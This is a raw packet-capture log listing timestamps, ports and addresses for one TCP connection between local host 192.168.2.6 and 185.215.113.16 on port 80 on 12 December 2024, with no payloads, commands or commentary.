Dec 12, 2024 21:50:35.774899960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.777415037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.777467012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.777498007 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.777532101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.780196905 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.780250072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.780538082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.782833099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.782891989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.785511017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.785648108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.787718058 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.788239956 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.788335085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.791155100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.791255951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.793505907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.793633938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.795898914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.795950890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.798264980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.798367977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.800494909 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.800669909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.800776958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.802943945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.802978992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.803123951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.803214073 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.803257942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.803504944 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.805459023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.805654049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.807879925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.807957888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.810333967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.810434103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.812741995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.812835932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.815215111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.815361977 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.817737103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.817919016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.819952965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.820029974 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.820703030 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.821082115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.821082115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.822386026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.822462082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.823045969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.824810028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.824913979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.827169895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.827276945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.828766108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.828908920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.830111027 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.830243111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.831590891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.831706047 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.833147049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.833204031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.834613085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.834767103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.836041927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.836165905 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.837557077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.837660074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.839057922 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.839160919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.840526104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.840651989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.840780020 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.841809034 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.841809034 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.841809034 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.842063904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.842125893 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.842173100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.842312098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.843545914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.843605995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.843625069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.844876051 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.844984055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.845087051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.846455097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.846587896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.848051071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.848126888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.849452972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.849631071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.850969076 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.851289988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.852484941 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.852611065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.854021072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.854080915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.855470896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.855640888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.856918097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.856967926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.861020088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.863138914 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.863168955 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.960031033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.960130930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.960131884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.960206032 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.960726976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.960797071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.960810900 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.960906982 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.962209940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.962301970 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.962304115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.962579966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.963641882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.963752985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.965080976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.965235949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.965377092 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.966630936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.966739893 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.967911005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.968004942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.969319105 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.969346046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.970621109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.970679045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.971885920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.971981049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.973170996 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.973294020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.974452019 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.974576950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.974730968 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.974731922 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.974731922 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.975780964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.975861073 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.976207018 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.977221966 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.977276087 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.977330923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.977384090 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.978404045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.978456974 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.978509903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.978564024 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.979720116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.979782104 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.979876995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.979927063 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.981044054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.981096029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.981141090 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.981197119 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.982342958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.982397079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.982566118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.982744932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:35.983603954 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.983757973 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.984950066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.985110998 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.986254930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.986316919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.987425089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.987544060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.988733053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.988863945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.989752054 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.989949942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.990889072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.991019964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.992085934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.992186069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.993242979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.993387938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.994419098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.994561911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.995719910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.995819092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.996706009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.996870995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.997950077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.998032093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.999102116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:35.999223948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.000272989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.000386000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.001458883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.001583099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.002597094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.002705097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.002840042 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.003850937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.003933907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.004997015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.005070925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.006091118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.006227970 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.006640911 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.006748915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.006802082 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.006802082 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.007308006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.007420063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.007424116 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.007505894 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.008454084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.008582115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.008744955 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.009618044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.009737015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.010027885 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.010776997 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.010828972 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.010948896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.011002064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.012008905 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.012062073 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.012119055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.012167931 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.013124943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.013233900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.013974905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.014341116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.014398098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.014487982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.014544964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.015512943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.015564919 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.015590906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.015642881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.016640902 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.016693115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.016872883 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.016925097 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.017784119 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.017834902 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.017883062 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.017931938 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.019135952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.019154072 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.019208908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.019208908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.020200014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.020255089 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.020328045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.020376921 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.021302938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.021353006 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.021397114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.021446943 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.022449970 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.022507906 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.022583961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.022631884 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.023647070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.023727894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.024811029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.043050051 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.152093887 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.152286053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.152625084 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.152802944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.152956963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.153980017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.154051065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.155036926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.155144930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.156199932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.156280041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.157330036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.157394886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.158411026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.158498049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.159502029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.159529924 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.159560919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.159615993 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.159648895 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.160706043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.160717964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.160789013 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.161746025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.161880016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.162633896 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.162902117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.163057089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.163981915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.164187908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.164223909 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.165110111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.165225029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.165450096 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.165510893 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.166212082 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.166348934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.166436911 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.167321920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.167499065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.167613983 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.168451071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.168663025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.169544935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.169670105 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.170661926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.170732021 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.171768904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.171855927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.172880888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.173008919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.174034119 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.174124956 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.174365997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.174398899 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:36.175184011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.175203085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.176295996 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.176450968 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.177340984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.177481890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.178447962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.178560019 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.179606915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.179680109 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.180699110 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.180892944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.181849003 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.181952953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.183151960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.183175087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.184035063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.184129953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:36.184485912 CET	49942	80	192.168.2.6	185.215.113.16
